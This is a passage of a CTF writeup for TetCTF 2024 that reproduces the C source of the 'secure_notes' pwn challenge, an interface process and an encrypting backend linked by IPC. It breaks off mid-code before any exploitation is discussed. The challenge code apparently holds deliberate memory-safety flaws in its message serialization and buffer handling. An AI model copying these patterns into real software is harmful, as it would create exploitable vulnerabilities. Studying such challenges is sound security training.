---
# System prepended metadata

title: TetCTF 2024

---

# TetCTF 2024

Recently I have played this Vietnamese CTF contests, which is highly accredited by the community of hackers. In my opinion, those challenges are at a medium-hard level, which aroused my curiosity a lot. Regardless of solving no challenges in time, I still made writeups of some pwn challenges which was a reminder for future contests.

![image](https://hackmd.io/_uploads/Bk79KkF9p.png)

## Pwn03-flag1

[Attachment](https://github.com/Jalynk2004/CTFWriteups/raw/main/2024/TetCTF/secure_notes.7z)

Both `flag1` and `flag2` used the same provided attachments. 

**Interface**
```c
/*
 * Secure Note Manager
 * Author: peternguyen93
 */
#include "ipc.h"
#include "dbg.h"
#include "protocol.h"
#include "utlist.h"
#include <openssl/sha.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/capability.h>
#include <sys/types.h>

struct IPC ipc;
#define MAX_CONTENT_LEN 0x1000
#define MAX_NOTE 0x100

Note_t notes;
uint32_t notes_size;

int Note_cmp(Note_t note1, Note_t note2)
{
	int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \
			strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0;
	return !res;
}

Note_t Note_init(
	char *title,
	char *author,
	uint32_t content_len,
	uint32_t encrypt)
{
	Note_t new_note = (Note_t)malloc(sizeof(struct Note));
	bzero(new_note, sizeof(struct Note));
	strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1);
	strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1);

	new_note->note_content_len = content_len;
	new_note->note_is_encrypt = encrypt;
	return new_note;
}

void Note_destroy(Note_t note)
{
	assert_fail_f(note, "note could not be null\n");
	if(note->note_content){
		free(note->note_content);
		note->note_content = NULL;
	}
	bzero((void *)note, sizeof(struct Note));
	free(note);
}

void read_line(char *buf, size_t max_size)
{
	uint32_t i = 0;

	while(i < max_size){
		char c = fgetc(stdin);
		if(c == '\n'){
			buf[i] = '\0';
			break;
		}
		buf[i++] = c;
	}
}

int read_int()
{
	char buf[32] = {0};
	read_line(buf, sizeof(buf));
	return atoi(buf);
}

void add_new_note()
{
	char title[32];
	char author[32];
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	int is_encrypt;
	uint32_t content_len;

	if(notes_size > MAX_NOTE){
		printf("Unable to add new note\n");
		return;
	}

	printf("Title: ");
	read_line(title, sizeof(title) - 1);
	printf("Author: ");
	read_line(author, sizeof(author) - 1);

	do{
		printf("Wanna encrypt this notes? (y/n) ");
		read_line(buf, sizeof(buf));
	}while(buf[0] != 'y' && buf[0] != 'n');

	is_encrypt = buf[0] == 'y' ? 1 : 0;

	Note_t new_note = Note_init(title, author, 0, is_encrypt);
	if(is_encrypt){
		printf("What is your passwd? ");
		bzero(buf, sizeof(buf));

		read_line(buf, sizeof(buf) - 1);
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
	}

	printf("How many bytes for content? ");
	content_len = read_int();
	if(content_len > MAX_CONTENT_LEN){
		content_len = MAX_CONTENT_LEN;
	}

	printf("Content: \n");
	new_note->note_content = malloc(content_len);
	new_note->note_content_len = content_len;
	fgets(new_note->note_content, content_len, stdin);

	if(is_encrypt){
		// sync this note to backend
		size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		msg_hdr_t send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(new_note->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash) + content_len;
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(&(serialize_p->content[sizeof(passwd_hash)]), new_note->note_content, new_note->note_content_len);

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		uint64_t status = 0;
		int rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		
		if(IS_ERR(rc) || status != OK){
			printf("Unable to sync this note to server :(, destroying this note\n");
			Note_destroy(new_note);
			return;
		}

		free(new_note->note_content);
		new_note->note_content = NULL;
		new_note->note_synced = 1;
	}

	DL_APPEND(notes, new_note);
	notes_size++;
	puts("Added");
}

void delete_note(void)
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}


	size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize);
	msg_hdr_t send_msg;

	// sync with server
	if(tmp->note_is_encrypt || tmp->note_synced){
		if(tmp->note_is_encrypt){
			send_size += SHA256_DIGEST_LENGTH;
			printf("Your password? ");
			bzero(buf, sizeof(buf));
			read_line(buf, sizeof(buf) - 1);

			// sha256
			SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);
		}

		send_msg = malloc(send_size);
		send_msg->action = DELETE;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

		serialize_p->note_content_len = 0;
		if(tmp->note_is_encrypt){
			serialize_p->note_content_len = sizeof(passwd_hash);
			memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		}

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		uint64_t status = 0;
		int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);

		if(IS_ERR(rc) || (Status)status != OK){
			printf("Unable to delete note\n");
			return;
		}
	}

	DL_DELETE(notes, tmp);
	notes_size--;
	printf("Deleted\n");
}

void list_note()
{
	Note_t tnote;
	DL_FOREACH(notes, tnote){
		printf("Title: %s\n", tnote->note_title);
		printf("Author: %s\n", tnote->note_author);
		if(tnote->note_is_encrypt){
			printf("Content: (Encrypted)\n");
		} else {
			printf("Content: %s\n", tnote->note_content);
		}
	}
}

void edit_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	uint64_t status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}
	
	if(tmp->note_is_encrypt){
		printf("Password ?");
		read_line(buf, sizeof(buf) - 1);
		// sha256
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash);
		send_msg = malloc(send_size);
		send_msg->action = AUTH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		serialize_p->note_content_len = sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Authenticate was failed\n");
			return;
		}
		printf("Access granted\n");
	}

	printf("New content len?");
	uint32_t content_len = read_int();
	content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN;

	printf("New content:\n");
	if(tmp->note_is_encrypt){
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		// sync with server
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len;
		send_msg = malloc(send_size);
		send_msg->action = COMMIT;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;
		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));

		serialize_p->note_content_len += sizeof(passwd_hash);
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));
		memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len);

		free(tmp->note_content);
		tmp->note_content = NULL;

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to update your content\n");
			return;
		}
		tmp->note_synced = 1;
	} else {
		if(tmp->note_content){
			free(tmp->note_content);
		}
		tmp->note_content = malloc(content_len);
		tmp->note_content_len = content_len;
		fgets(tmp->note_content, content_len, stdin);
		tmp->note_synced = 0;
	}
}

void read_note()
{
	struct Note s_note;
	Note_t tmp;
	char buf[64];
	char passwd_hash[SHA256_DIGEST_LENGTH];
	msg_hdr_t send_msg;
	msg_hdr_t recv_msg;
	size_t recv_size = 0;
	size_t send_size = 0;
	NoteSerialize_t serialize_p;
	Status status;
	int rc;

	bzero(&s_note, sizeof(struct Note));
	printf("Title: ");
	read_line(s_note.note_title, sizeof(s_note.note_title) - 1);
	printf("Author: ");
	read_line(s_note.note_author, sizeof(s_note.note_author) - 1);

	DL_SEARCH(notes, tmp, &s_note, Note_cmp);
	if(!tmp){
		printf("Unable to find your note\n");
		return;
	}

	if(tmp->note_is_encrypt){
		printf("Password? ");
		read_line(buf, sizeof(buf) - 1);
		// sha1 here
		SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash);

		// read from backend
		send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH;
		send_msg = malloc(send_size);
		send_msg->action = FETCH;
		send_msg->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)send_msg->msg_content;

		memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon));
		memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash));

		send_data(&ipc, RECEIVER, send_msg, send_size);
		free(send_msg);

		rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60);
		if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
			printf("Unable to read content\n");
			return;
		}

		serialize_p = (NoteSerialize_t)recv_msg->msg_content;
		printf("Content: %s\n", serialize_p->content);

	} else {
		printf("Content: %s\n", tmp->note_content);
	}
}

int note_sync(int flag)
{
	msg_hdr_t msg_hdr = NULL;
	uint32_t send_size, recv_size;
	struct msg_hdr inline_msg_hdr;
	Note_t cur_note, next_note, next_note2;
	NoteSerialize_t serialize_p;
	uint64_t status;
	uint32_t read_count = 0;
	int rc;

	if(flag == 1){
		send_size = sizeof(struct msg_hdr);

		next_note = notes;
		next_note2 = notes;

		// commit un-synced note to backend
		DL_FOREACH(next_note, cur_note){
			if(cur_note->note_synced)
				continue;
			send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len;
			if(send_size > SHM_MEM_MAX_SIZE){
				next_note = cur_note;
				break;
			}
		}

		if(send_size == sizeof(struct msg_hdr)){
			printf("All notes was synced\n");
			return 0;
		}

		msg_hdr = malloc(send_size);
		msg_hdr->action = COMMIT;
		msg_hdr->msg_size = send_size - sizeof(struct msg_hdr);
		serialize_p = (NoteSerialize_t)msg_hdr->msg_content;

		DL_FOREACH(next_note2, cur_note) {
			if(cur_note->note_synced)
				continue;
			memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon));
			memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len);
			serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len);
			cur_note->note_synced = 1;
		}

		send_data(&ipc, RECEIVER, msg_hdr, send_size);
		free(msg_hdr);

		rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60);
		if(IS_ERR(rc) || status != OK){
			printf("Unable to commit data to backend\n");
			return 1;
		}

	} else {
		// fetch from backend
		inline_msg_hdr.action = FETCH;
		inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content
		send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr));

		int truncated = 0;
		do{
			truncated = 0;
			rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60);
			if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){
				if((Status)recv_size == OK){
					return 0;
				} else {
					printf("Unable to fetch data from backend\n");
					return 1;
				}
			}

			if(msg_hdr->action == TRUNCATED)
				truncated = 1;

			Note_t search_note;
			// parse from backend
			while(read_count < msg_hdr->msg_size){
				serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count);
				Note_t new_note = Note_init(serialize_p->note_title,
											serialize_p->note_author,
											serialize_p->note_content_len,
											serialize_p->note_is_encrypt);

				read_count += sizeof(struct NoteSerialize);
				Note_t p_note;
				DL_SEARCH(notes, search_note, new_note, Note_cmp);
				p_note = search_note;
				if(!search_note){
					p_note = new_note;
				}

				// update new content
				if(!p_note->note_is_encrypt){
					memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
					read_count += new_note->note_content_len;
				}

				if(p_note->note_is_encrypt) {
					p_note->note_synced = 1;
					if(p_note->note_content){
						free(p_note->note_content);
						p_note->note_content = NULL;
					}
				}

				if(!search_note){
					DL_APPEND(notes, new_note);
				} else {
					Note_destroy(new_note);
				}
			}

			if(truncated){
				// signal backend send next data
				send_data(&ipc, RECEIVER, NULL, OK);
			}
		} while(truncated);
	}
	return 0;
}

int note_main()
{
	int rc;
	uint64_t status = Empty;
	char buf[64];

	DBG("Waiting for backend is up....\n");
	rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); // wait for 1 min
	if(!IS_OK(rc)){
		ERROR("Unable to receive signal from backend process\n");
		return -1;
	}

	if(status != OK){
		ERROR("receive error status from backend\n");
		return -1;
	}

	// tell backend we are ok to work now
	status = OK;
	rc = send_data(&ipc, RECEIVER, NULL, OK);

	int op;
	int exit = 0;

	//sleep(1);
	while(!exit){
		printf("==== Secure Note Manager ====\n");
		printf("1. Add New Note\n");
		printf("2. List Note\n");
		printf("3. Read Note\n");
		printf("4. Edit Note\n");
		printf("5. Delete Note\n");
		printf("6. Sync Notes\n");
		printf("7. Exit\n");
		printf("Choice: ");
		op = read_int();
		switch(op){
			case 1:
				add_new_note();
				break;
			case 2:
				list_note();
				break;
			case 3:
				read_note();
				break;
			case 4:
				edit_note();
				break;
			case 5:
				delete_note();
				break;
			case 6:
				do{
					printf("You you want to [s]ync or [c]ommit note? (s/c)");
					bzero(buf, sizeof(buf));
					read_line(buf, sizeof(buf) - 1);
				}while(buf[0] != 's' && buf[0] != 'c');
				if(buf[0] == 'c'){
					note_sync(1);
				}else {
					note_sync(0);
				}
				break;
			case 7:
				note_sync(1);
				exit=1;
				break;
			default:
				printf("Invalid input\n");
				break;
		}
	}

	send_data(&ipc, RECEIVER, NULL, Exit);
	return 0;
}

int main(int argc, char **argv)
{
	pid_t pid;
	char ev_fds_str[64] = {0};

	if(argc < 2){
		ERROR("Missing backend binary path\n");
		return 1;
	}

	IPC_create(&ipc, 1, 0, 1);

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	serialize_ev_fd(&ipc, ev_fds_str, sizeof(ev_fds_str));

	const char *child_argv[32] = {
		argv[1],
		ev_fds_str,
		NULL
	};

	pid = fork();
	if(pid == 0){
		// child Process
		if(setgid(1001) == -1){
			DBG("Unable to drop privilege setgid\n");
		}
		cap_t proc = cap_get_proc();
		cap_clear(proc);
		if(cap_set_proc(proc)){
			DBG("cap_set_proc was failed\n");
		}

		execv(argv[1], child_argv);
	} else if(pid > 0){
		// parent process
		note_main();
		int waitStatus;
		waitpid(pid, &waitStatus, 0);

	} else {
		perror("fork");
	}

	return 0;
}
```

**Backend**
```c
/*
 * This process store secret data submited from user
 * Author: peternguyen
 */
#include "ipc.h"
#include "dbg.h"
#include "protocol.h"
#include "utlist.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/evp.h>

struct IPC ipc;
#define MAX_CONTENT_LEN 0x1000
#define MAX_NOTE 0x100

NoteBackend_t notes;
uint32_t notes_size = 0;

unsigned char IV[] = "\x0A\x91\x72\x71\x6A\xE6\x42\x84\x09\x88\x5B\x8B\x82\x9C\xCB\x05";

typedef enum CryptMode {
	Encrypt = 1,
	Decrypt = 0
} CryptMode;

static inline size_t roundup(size_t value, size_t base)
{
	if(value % base == 0)
		return value;
	return (value / base) * base + base;
}

int Note_Crypt(const char *key,
		const char *inbuf, const size_t inbuf_size,
		char **out_buf, size_t *out_size, CryptMode mode)
{
	EVP_CIPHER *cipher = EVP_aes_256_cbc();//_CTX ctx;
	EVP_CIPHER_CTX *ctx;
	size_t block_size, out_buf_size = 0;
	int outlen = 0;

	*out_size = 0;
	//assert_fail_f(*out_buf, "NULL out_buf pointer\n");
	if(!(ctx = EVP_CIPHER_CTX_new())){
		return 0;
	}

	if(!EVP_CipherInit_ex(ctx, cipher, NULL, (const unsigned char *)key, (const unsigned char *)IV, mode)){
		return 0;
	}

	block_size = EVP_CIPHER_CTX_get_block_size(ctx);
	out_buf_size = roundup(inbuf_size, block_size);
	*out_buf = malloc(out_buf_size);

	if(!EVP_CipherUpdate(ctx, (unsigned char *)*out_buf, &outlen, (unsigned char*)inbuf, inbuf_size)){
		free(*out_buf);
		*out_buf = NULL;
		return 0;
	}

	if(!EVP_CipherFinal(ctx, (unsigned char *)((*out_buf) + outlen), &outlen)){
		free(*out_buf);
		*out_buf = NULL;
		return 0;
	}

	*out_size = out_buf_size;
	EVP_CIPHER_CTX_free(ctx);
	return 1;
}

int NoteBackend_cmp(NoteBackend_t note1, NoteBackend_t note2)
{
	int res = strncmp(note1->note_title, note2->note_title, sizeof(note1->note_title) - 1) == 0 && \
			strncmp(note2->note_author, note1->note_author, sizeof(note1->note_author) - 1) == 0;
	return !res;
}

NoteBackend_t NoteBackend_init(
	char *title,
	char *author,
	uint32_t content_len,
	uint32_t encrypt)
{
	NoteBackend_t new_note = (NoteBackend_t)malloc(sizeof(struct NoteBackend));
	bzero(new_note, sizeof(struct NoteBackend));
	strncpy(new_note->note_title, title, sizeof(new_note->note_title) - 1);
	strncpy(new_note->note_author, author, sizeof(new_note->note_author) - 1);

	new_note->note_content_len = content_len;
	new_note->note_is_encrypt = encrypt;
	return new_note;
}

void NoteBackend_destroy(NoteBackend_t note)
{
	assert_fail_f(note, "note could not be null\n");
	if(note->note_content){
		free(note->note_content);
		note->note_content = NULL;
	}
	bzero((void *)note, sizeof(struct NoteBackend));
	free(note);
}

void backend_listener()
{
	uint64_t status = 0;
	uint64_t msg_size = 0;
	msg_hdr_t msg;
	int rc;
	uint32_t action;

	status = OK;
	rc = send_data(&ipc, SENDER, NULL, status);
	if(IS_ERR(rc)){
		perror("send_data error");
		return;
	}

	DBG("Waiting for interface send signal...\n");
	status = 0;
	rc = recv_data_timeout(&ipc, RECEIVER, NULL, (uint64_t *)&status, 60);
	if(IS_ERR(rc)){
		perror("recv_data_timeout");
		return;
	}

	assert_fail_f((Status)status == OK, "[backend] Receive error from SENDER %d\n", (Status)status);
	DBG("[backend] interface process is up, let waiting for request\n");

	while(1){
		// handle request from interface
		msg_size = 0;
		rc = recv_data_timeout(&ipc, RECEIVER, (void **)&msg, &msg_size, 60 * 4);
		DBG("[Backend] rc: %d\n", rc);
		if(IS_ERR(rc) || IS_TIMEOUT(rc)){
			continue;
		}

		if(msg_size == Exit){
			DBG("[Backend] receive signal exit\n");
			break;
		}

		DBG("[Backend] Receive %d data from RECEIVER\n", msg_size);
		if(msg_size < sizeof(struct msg_hdr)){
			DBG("[Backend] msg_size is too small\n");
			continue;
		}

		action = msg->action;
		uint32_t msg_size = msg->msg_size;
		uint32_t parsed_count = 0;
		NoteBackend_t tmp1, etmp;
		struct NoteBackend inline_tmp;
		int parsed_error = OK;
		NoteSerialize_t serialize_note = NULL;
		msg_hdr_t reply_msg = NULL;
		uint32_t reply_size = 0;
		uint32_t written_count = 0;
		char *encrypt_buf = NULL;
		size_t encrypt_size = 0;

		switch(action){
			case COMMIT: {
				if(msg_size < sizeof(struct NoteSerialize)){
					DBG("[backend] msg content size is too small\n");
					send_data(&ipc, SENDER, NULL, Error);
					break;
				}
				parsed_count = 0;
				while(parsed_count + sizeof(struct NoteSerialize) < msg_size){
					serialize_note = (NoteSerialize_t)((size_t)msg->msg_content + parsed_count);

					if(serialize_note->note_content_len + parsed_count + sizeof(struct NoteSerialize) > msg_size){
						DBG("[backend] serialize_note->note_content_len is too big: %d\n", serialize_note->note_content_len);
						parsed_error = Error;
						break;
					}

					if(serialize_note->note_is_encrypt && serialize_note->note_content_len < SHA256_DIGEST_LENGTH){
						DBG("[backend] encrypted note note_content_len is too small\n");
						parsed_error = Error;
						break;
					}

					NoteBackend_t new_note = NoteBackend_init(serialize_note->note_title,
															serialize_note->note_author,
															serialize_note->note_content_len,
															serialize_note->note_is_encrypt);
					uint32_t content_len = serialize_note->note_content_len;
					if(serialize_note->note_is_encrypt){
						content_len = serialize_note->note_content_len - SHA256_DIGEST_LENGTH;
					}

					DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp);
					parsed_error = OK;
					if(tmp1){
						// update content only;
						DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author);
						if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
							// access granted
							DBG("[backend] COMMIT: access granted for encrypted note - update new content\n");
							Note_Crypt((const char *)tmp1->passwd,
											(const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]),
											(const size_t)content_len,
											&encrypt_buf,
											&encrypt_size,
											Encrypt);
							if(tmp1->note_content){
								free(tmp1->note_content);
							}
							tmp1->note_content = encrypt_buf;
							tmp1->note_content_len = encrypt_size;
						} else if(!tmp1->note_is_encrypt){
							DBG("[backend] COMMIT: update new content_len: %d\n", content_len);

							if(tmp1->note_content){
								free(tmp1->note_content);
							}

							tmp1->note_content = malloc(content_len);
							tmp1->note_content_len = content_len;
							memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len);
						}
						NoteBackend_destroy(new_note);
					} else {
						if(notes_size + 1 > MAX_NOTE){
							send_data(&ipc, SENDER, NULL, Error);
							break;
						}

						if(new_note->note_is_encrypt){
							memcpy(new_note->passwd, serialize_note->content, SHA256_DIGEST_LENGTH);
						}
						
						if(new_note->note_is_encrypt){
							// aes encrypt content
							Note_Crypt((const char *)new_note->passwd,
										(const char *)serialize_note->content + SHA256_DIGEST_LENGTH,
										(const size_t)content_len,
										&(new_note->note_content),
										(size_t *)&(new_note->note_content_len),
										Encrypt);
						} else {
							new_note->note_content = malloc(content_len);
							memcpy(new_note->note_content, serialize_note->content, content_len);
						}
						DBG("[backend] Addded new_note %s(%s) - encrypt: %d\n",
															new_note->note_title,
															new_note->note_author, new_note->note_is_encrypt);
						DL_APPEND(notes, new_note);
						notes_size++;
					}
					parsed_count += sizeof(struct NoteSerialize) + serialize_note->note_content_len;
				}
				DBG("parsed_error: 0x%x\n", parsed_error);
				send_data(&ipc, SENDER, NULL, parsed_error);
				break;
			}
			case DELETE: {
				parsed_error = Error;
				if(msg_size >= sizeof(struct NoteSerialize)){
					tmp1 = NULL;
					serialize_note = (NoteSerialize_t)msg->msg_content;
					uint32_t content_len = serialize_note->note_content_len;
					etmp = NoteBackend_init(serialize_note->note_title,
											serialize_note->note_author,
											serialize_note->note_content_len,
											serialize_note->note_is_encrypt);

					DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp);
					if(tmp1){
						DBG("[backend] DELETE: found delete note: %s(%s) - encrypt: %d\n",
											tmp1->note_title, tmp1->note_author, tmp1->note_is_encrypt);
						// found note
						if((tmp1->note_is_encrypt &&
								memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0) ||
							!tmp1->note_is_encrypt){
							// verify password before destroy
							goto delete_note;
						} else if(!tmp1->note_is_encrypt) {
delete_note:
							parsed_error = OK;
							DL_DELETE(notes, tmp1);
							NoteBackend_destroy(tmp1);
							notes_size--;
							DBG("[backend] DELETE: successfully delete this note\n");
						}
					} else {
						DBG("[backend] DELETE: unable to find note: %s(%s)\n", tmp1->note_title, tmp1->note_author);
					}
					NoteBackend_destroy(etmp);
				} else {
					DBG("[backend] DELETE: msg_content_len is too small %d - %d\n", msg_size, sizeof(struct NoteSerialize));
				}
				send_data(&ipc, SENDER, NULL, parsed_error);
				break;
			}
			case AUTH: {
				parsed_error = Error;
				if(msg_size >= sizeof(struct NoteSerialize)){
					tmp1 = NULL;
					serialize_note = (NoteSerialize_t)msg->msg_content;
					if(serialize_note->note_is_encrypt && serialize_note->note_content_len == SHA256_DIGEST_LENGTH) {
						etmp = NoteBackend_init(serialize_note->note_title,
											serialize_note->note_author,
											serialize_note->note_content_len,
											serialize_note->note_is_encrypt);

						DL_SEARCH(notes, tmp1, etmp, NoteBackend_cmp);
						NoteBackend_destroy(etmp);

						DBG("[backend] Authenticate with note: %s - %s\n", tmp1->note_title, tmp1->note_author);
						if(tmp1 && tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){
							parsed_error = OK;
							DBG("[backend] Access granted\n");
						}
					} else {
						DBG("[backend] AUTH messge conent len is too small: %d\n", serialize_note->note_content_len);
					}
				} else {
					DBG("[backend] AUTH message content is too small: %d\n", msg_size);
				}
				send_data(&ipc, SENDER, NULL, parsed_error);
				break;
			}
			case FETCH: {
				if(msg_size != 0xFFFFFFFF){
					DBG("[backend] Fetch encrypt note\n");
					//fetch single encrypted note
					if(msg_size < sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH){
						DBG("[backend] FETCH - msg content size is too small: %d\n", msg_size);
						send_data(&ipc, SENDER, NULL, Error);
						break;
					}

					serialize_note = (NoteSerialize_t)msg->msg_content;
					
					memcpy(&(inline_tmp.common), &(serialize_note->common), sizeof(struct NoteCommon));
					DL_SEARCH(notes, tmp1, &inline_tmp, NoteBackend_cmp);
					if(!tmp1){
						DBG("[backend] Unable to find note %s - %s\n", inline_tmp.note_title, inline_tmp.note_author);
						send_data(&ipc, SENDER, NULL, Error);
						break;
					}

					if(!tmp1->note_is_encrypt){
						DBG("[backend] This note was not encrypted\n");
						send_data(&ipc, SENDER, NULL, Error);
						break;
					}

					if(memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH)){
						DBG("[backend] Password incorrect\n");
						send_data(&ipc, SENDER, NULL, Error);
						break;
					}

					// aes decrypt here
					char *decrypt_buffer = NULL;
					size_t decrypt_len = 0;
					Note_Crypt((const char *)tmp1->passwd, (const char *)tmp1->note_content,
											(const size_t)tmp1->note_content_len,
											&decrypt_buffer, (size_t *)&decrypt_len,
											Decrypt);

					// everything is ok
					// send it back
					reply_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + decrypt_len;
					reply_msg = malloc(reply_size);
					reply_msg->msg_size = reply_size - sizeof(struct msg_hdr);
					serialize_note = (NoteSerialize_t)reply_msg->msg_content;

					memcpy(&(serialize_note->common), &(tmp1->common), sizeof(struct NoteCommon));
					serialize_note->note_content_len = decrypt_len;
					memcpy(serialize_note->content, decrypt_buffer, decrypt_len);
					free(decrypt_buffer);

					send_data(&ipc, SENDER, reply_msg, reply_size);
					free(reply_msg);

					break;
				}

				DBG("[backend] FETCH all notes except encrypted notes\n");
				NoteSerialize_t serialize_p = NULL;
				NoteBackend_t cur_note = notes;
				NoteBackend_t tmp_note2 = NULL;
				int truncated = 0;
				uint32_t tmp_size = 0;

				// fetch all
				do {
					truncated = 0;
					reply_size = sizeof(struct msg_hdr);
					DL_FOREACH_SAFE(cur_note, tmp1, etmp){
						tmp_size = sizeof(struct NoteSerialize);
						if(!tmp1->note_is_encrypt){
							tmp_size += tmp1->note_content_len;
						}
						if(reply_size + tmp_size > SHM_MEM_MAX_SIZE){
							DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
							truncated = 1;
							tmp_note2 = tmp1;
							break;
						}
						reply_size += tmp_size;
					}

					if(reply_size == sizeof(struct msg_hdr)){
						DBG("[backend] nodes is empty\n");
						// notes is empty just return OK
						send_data(&ipc, SENDER, NULL, OK);
						break;
					}

					DBG("[backend] FETCH: msg truncated: %d\n", truncated);

					reply_msg = malloc(reply_size);
					reply_msg->action = truncated ? TRUNCATED : NONE;
					reply_msg->msg_size = reply_size - sizeof(struct msg_hdr);

					written_count = 0;
					DL_FOREACH_SAFE(cur_note, tmp1, etmp){
						serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);
						
						memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
						written_count+= sizeof(struct NoteSerialize);
						DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
						if(!tmp1->note_is_encrypt){
